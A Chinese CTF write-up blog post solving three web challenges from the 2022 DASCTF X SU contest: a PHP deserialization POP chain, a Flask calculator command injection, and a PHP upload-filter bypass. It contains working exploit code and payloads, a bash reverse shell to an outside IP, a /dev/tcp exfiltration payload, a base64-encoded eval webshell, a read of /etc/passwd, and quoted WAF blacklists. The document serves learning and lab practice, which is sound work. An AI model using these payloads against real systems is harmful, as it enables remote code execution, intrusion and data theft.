2022DASCTF X SU 三月春季挑战赛 web
1.ezpop
2.calc
3.upgdstore
ezpop
给出了源码:
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
?>
显然,这是要我们找到一条POP链。
我们从目的出发,找到可以利用的函数eval()
——可以将字符串按照php代码来计算。如果传入system()
函数调用外部命令实现rce,就有可能找到flag。
可以明确用mix::get_flag()
函数触发eval()
,那么,如何触发mix::get_flag()
:
1、通过mix::run()
触发,但这样会限制$m1为"get_flag",从而无法利用eval()
执行命令,行不通;
2、通过fin::__call($a, $b)
触发,将mix传入fin的$f1
即可,可行。
接下来,如何触发fin::__call($a, $b)
成了问题,目前就只形成了这样的链子
fin::__call() --> mix::get_flag()
倒推困难,我们就找入口正推。这里注意到这样几个魔术方法
__destruct() //当对象被销毁时触发
__toString() //当把类当作字符串使用时触发
__invoke() //当对象调用为函数时触发
__call() //当对象上下文中调用不可访问的方法时触发
而fin::_destruct()
恰好可以用来触发what::_toString()
,从而可以触发run()
,继而再触发一个函数,如果触发_invoke()
,由于world()
不可访问,就可以用之触发_call()
,从而形成完整的POP链:
fin::__destruct() --> what::__toString() --> fin::run() --> crow::__invoke() --> fin::__call() --> mix::get_flag()
(这里用的fin::run()
,另一个似乎也可以)。
另一个需要注意的点是:eval()
用'#'进行了过滤,因此还需要绕过,这里可以选用?>
闭合,也可以选用\n
换行符!
构造exp如下:
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
//fin::__destruct() --> what::__toString() --> fin::run() --> crow::__invoke() --> fin::__call() --> mix::get_flag()
$a=new fin();//为了调用__destruct()方法
$b=new fin();
//$b=new mix;
$c=new fin();
$d=new crow();
$e=new what();
$f=new mix();
$a->f1=$e;//为了调用__toString()方法
$e->a=$b;//为了去调用run方法
$b->f1=$d;//为了去调用__invoke()方法
$d->v1=$c;//为了去调用__call()方法
$c->f1=$f;//为了去调用get_flag()方法
$f->m1="\nsystem('ls /');" ;//用 \n 绕过注释符
echo urlencode(serialize($a));
?>
得到O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A16%3A%22%0Asystem%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D
最后用bp传参即可(这里用ls /
命令查根目录较麻烦,于是用ls
查当前目录,也不很好找,最后选择用cat *
查看所有文件,结果如下图)
成功找到flag!
**
该题在构造pop链上思路不算混乱(可能跟我偷看了一眼wp有关),但是在传参上遇到了很大的问题,一方面HackBar(估计是HB自身问题)总是失败搞人心态,另一方面用burp suite发送POST请求的方法没有掌握,即有三个地方需要修改:
1、GET修改为POST方法
2、加上媒体类型信息:Content-Type: application/x-www-form-urlencoded
3、末尾添加需上传语句:cmd=xxxx
**
另外有师傅在构造exp时传入"?><? @eval(\$_POST[b]);"
,继而利用蚁剑连接找flag,但是博主尚未弄清蚁剑🗡的这一功能,待研究后更新。
详情请访问这位师傅的Blog【2022DASCTF X SU】 三月春季挑战赛 web复现
calc
题目上来就给个计算器,打开源码,发现是用python写的计算器。源码放在下面:
#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
app=Flask(__name__)
def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag
@app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html")
@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
if __name__ == "__main__":
app.run(host='0.0.0.0',port=5000)
审查代码发现有GET
传参,找到了口子。分析可知是用GET
传参控制num
变量,作为log = "echo {0} {1} {2}> ./tmp/log.txt"
中的{2}
。再看下去就能发现两个很敏感的函数:
data = eval(num) //
os.system(log) //将字符串转化成命令在服务器上运行
os.system()
由于num
被waf()
过滤得太多,我们只能把目标放在os.system(log)
上,想办法对log
下手,查找bash shell中可以做命令替换的函数:$()、eval()与``反引号
,由于$和eval
被过滤,这里只能选用反引号(优先执行`代码`)。[资料查阅:反引号与$()的区别以及eval的作用]
需要注意的是,程序会将num插入到log字符串的最后然后先后执行 eval(num)和os.system(log),因此不能让eval(num)报错而无法进行下一步,考虑python的特性,想到可以利用注释符#
注释。
接下来,我们希望建立反弹shell,将其命令行的输入输出转到我们的攻击端
bash -i >& /dev/tcp/攻击端IP/攻击端监听端口 0>&1
bash -i >& /dev/tcp/101.43.119.212/12306 0>&1
[资料查阅:Linux下反弹shell的原理]
但是&
也被ban了,没法直接用,但是也能得出一个思路:输出重定向到攻击机。
payload:/calc?num=1%23`ls%09>/dev/tcp/IP/2333`
这里由于空格被过滤,ls >
写成ls%09>
,然后在攻击端监听2333端口nc -lvp 2333
然后修改ls
命令即可,这里博主服务器监听不到,仍然在找问题。
upgdstore
文件上传题,随便上传一个文件试试

由此可以得知该题目只能上传php文件。直接试试webshell.php
传一句话木马,结果不出意料的失败了,又试了几个木马的变形,发现都无济于事,像无头苍蝇一样乱撞。只传入phpinfo()
看看有什么收获
发现一大堆disable_functions
,基本上所有的恶意函数全部都被过滤,接下来试试用拼接绕过的办法读取/etc/passwd
Linux 系统中的 /etc/passwd 文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。
这里我们用最常用的file_get_contents() 函数
来读取文件
<?php
echo ("fil"."e_get_c"."ontents")("/etc/passwd");
?>

成功读取。
那么根据Web服务器的默认根文件夹/var/www/html
,可以尝试读取网站源码(这里尝试index.php
),将文件代码改为
<?php
echo ("fil"."e_get_c"."ontents")("/var/www/html/index.php");
?>
上传后打开,查看源码
<?php
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}
return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}
发现过滤掉了$_、eval、assert
等字符串,也难怪最初尝试的后门上传失败。于是先上传了webshell的base64编码php文件——a.php
。
<?php @eval($_POST[1]); ?>//不要忘记在php关键字后加空格!!!
base64编码绕过——>
PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=
但反引号
被ban,也不知道如何把代码读取出来然后解码,也断绝了我用base64解码后再执行的想法。在其他大佬那里学到了PHP伪协议,了解到php://filter
+convert.base64-decode过滤器
能解决问题。
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行
php://filter/convert.base64-decode/resource=39ab6b7b4e9946f4fef4d99ee6be3446.php//php文件是刚刚上传的a.php
base64编码绕过——>
cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0zOWFiNmI3YjRlOTk0NmY0ZmVmNGQ5OWVlNmJlMzQ0Ni5waHA=
只需要用上述代码将上传的a.php
代码读取出来然后再用包含函数include结合即可,因此再上传b.php
(php函数名不区分大小写,可利用此点绕过)
<?php Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0zOWFiNmI3YjRlOTk0NmY0ZmVmNGQ5OWVlNmJlMzQ0Ni5waHA="));?>
但是博主尝试了一段时间结果怎么也传不上去,人麻中麻了属于是,结果发现是上传的文件名(web64.php)经md5加密然后base64编码后出现了dl
,被过滤了。换了名字后成功上传。
执行命令成功,但是蚁剑无法连接(大抵是因为有太多函数被ban了),只能用其他办法解决了。
网上查阅其他师傅的wp,发现要用到LD_PRELOAD劫持,后期学习更新。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?